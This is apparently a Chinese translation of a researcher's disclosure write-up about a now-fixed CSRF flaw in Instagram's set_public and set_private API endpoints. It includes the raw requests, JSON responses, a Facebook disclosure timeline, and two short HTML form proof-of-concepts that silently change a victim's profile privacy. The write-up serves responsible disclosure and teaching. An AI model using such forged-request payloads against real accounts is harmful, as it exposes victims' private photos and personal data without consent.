我是如何入侵Instagram查看你的私人片片的
在这篇文章中,我想介绍几个月前我在Instagram站点和移动应用中发现的一个漏洞(现在已被修复好了)。
Instagram又是什么?
维基百科这样介绍:
“Instagram是一个在线图片分享、视频共享和社交网络服务的网站,允许用户将拍摄的照片和视频,通过应用数字滤波器分享到他们各种各样的社交网络,如Facebook、Twitter、Tumblr和Flickr。 它的一个独特的性质是它将照片规范为正方形形状!像那种类似于柯达傻瓜相机(Kodak Instamatic)和宝丽莱(Polaroid)照片。与宽高16:9的现在通常使用的移动相机形成鲜明对比。 同时,用户也能够记录和分享持续15秒的短视频。”
总结:
Instagram的API某些行为容易受到跨站点伪造请求(CSRF )攻击。 攻击者可以执行用户(受害者)在web应用程序正在进行的身份验证。 一个成功的CSRF利用可以通过他的Instagram文件弄到到用户的个人数据(如照片和个人信息)。
介绍:
几个月前,我在Instagram的平台寻找它的安全漏洞。我猜测网站已经被审核了,是安全的。所以我把我努力的重点放在了Instagram的移动应用程序中(iOS和Android)。
首先,我把抓取的所有资源用来检测并寻找应用程序的新的攻击点,还测试了典型的安全漏洞,像跨站点脚本或代码注入,但是这一次,我没有发现任何空点来允许我注入代码(TT)。
我研究的第二步是通过站点比较两个移动应用(Android和iOS),以便找到不同的请求和行为,通过两者互换利用。
经过整个站点的勘测后,我意识到,与移动应用程序不同的是,在网站上用户不能改变他的个人资料的隐私。
下面图片显示的是我指的差异:
它是如何工作的?
我集中我的精力在Android应用程序的这一部分,我决定研究如何请求用户公开他的个人资料。 这个请求是:
POST /api/v1/accounts/set_public/ HTTP/1.1 Host: instagram.com User-Agent: Instagram 5.0.6 Android (19/4.4.2; 213dpi; 800x1205; asus/google; Nexus 7; grouper; grouper; en_US)
和它的JSON响应:
{"status":"ok","user{"username":"phr0nak","profile_pic_url":" http:\/\/images.ak.instagram.com\/profiles\/profile_1241468 1_75sq_1320360563.jpg","biography":"","full_name":"Christian", "pk":12414681,"is_private":false,"external_url":"http:\/\/insertco.in"}}
正如你可能已经注意到了,在过去的用户请求中,移动应用程序不使用任何像秘密安全令牌机制一样的东西防止像CSRF类的攻击。
重要的是,由于没有很多可以使用空间,利用跨站点伪造对移动应用程序的请求是非常困难的。
又因为在我的测试中我意识到,Instagram的API没有控制用户在set_public 和 set_private 实现和行为中的用户代理请求。出于这个原因,我决定测试web应用程序这个潜在的弱点,
接下来,我要做的是编写一个简单的CSRF理念的验证,如下:
<html> <body> <form action= "http://instagram.com/api/v1/accounts/set_public /" method= "POST" > <input type= "submit" value= "Submit form" /> </form> </body> </html>
理念验证已准备好了,我测试它对另一个私人用户配置文件。 我吃惊的是当我看到用户请求正常工作时,我确定CSRF攻击完全成功了!用户的配置文件被设置为公开了。
这理念证明的先前反应是:
{"status":"ok","user{"username":"phr0nak","profile_pic_url":" http:\/\/images.ak.instagram.com\/profiles\/profile_1241468 1_75sq_1320360563.jpg","biography":"","full_name":"Christian", "pk":12414681,"is_private":false,"external_url":"http:\/\/insertco.in"}}
在这一点上,我可以通过点击我的CSRF负载将任何一个受害者Instagram用户配置文件设置为公开。 但我想要更多,所以我使用同样的方法将它设置为私有的配置文件。
使用前面的理念验证,只改变来自 set_public 和 set_private 的URL活动,我就可以将任何用户配置的文件设为私有。
<html> <body> <form action= "http://instagram.com/api/v1/accounts/set_private /" method= "POST" > <input type= "submit" value= "Submit form" /> </form> </body> </html>
反回是:
{"status":"ok","user{"username":"phr0nak","profile_pic_url":" http:\/\/images.ak.instagram.com\/profiles\/profile_1241468 1_75sq_1320360563.jpg","biography":"","full_name":"Christian", "pk":12414681,"is_private":true,"external_url":"http:\/\/insertco.in"}}
鉴于Instagram没有使用任何安全机制来阻止CSRF攻击,有可能利用这些简单的概念来改变任何受害者的用户隐私。
重要的是,由于Instagram没有使用csrf全令牌,也没有检测是否来自移动应用的代理请求。不得不再次提到该漏洞完全可以在一个真实的场景(web应用程序)中被利用。
INSTAGRAM / FACEBOOK如何处理这个问题呢?
不幸的是,在使用Web API的现有的移动应用程序中实现CSRF非常不容易的,因为应用程序有旧客户端没有发送正确的验证,这是不会立即锁定的重要原因。
但是从现在起,所有新会话在登陆的时候会区分移动客户端和web端。以便网络会话可以完全启用CSRF保护,移动端的会话也会有一个秘密安全令牌。
所以,此刻,任何一个试图调用的API只允许用于移动应用响应此请求的将是一个结果:
{"status":"fail","message":"login_required”}
披露时间表
2013年8月22日:理念证明被发送到Facebook的初次报告。 2013年8月28日:Facebook上获悉,该漏洞已通知到Instagram的开发团队。 2013年9月6日:来自Facebook的响应,要求确认该问题已得到解决。 2013年9月6日,得到Facebook回复,确认修复。 2013年9月16日,Facebook的新报告,理念验证绕过去的初始定位。 二○一三年九月三十零日:来自Facebook的响应,通知有关的bug赏金奖励的详细信息。 二○一三年十二月十六日:Facebook的发送Bug的赏金奖励。 2014年1月23日:向Facebook报道一些奇怪的行为,在他们的第二个修正中可能有一个新绕行。 2014年2月4日:来自Facebook回应,确认申请,终于被正确修补。 2014年2月4日:报告就此结束。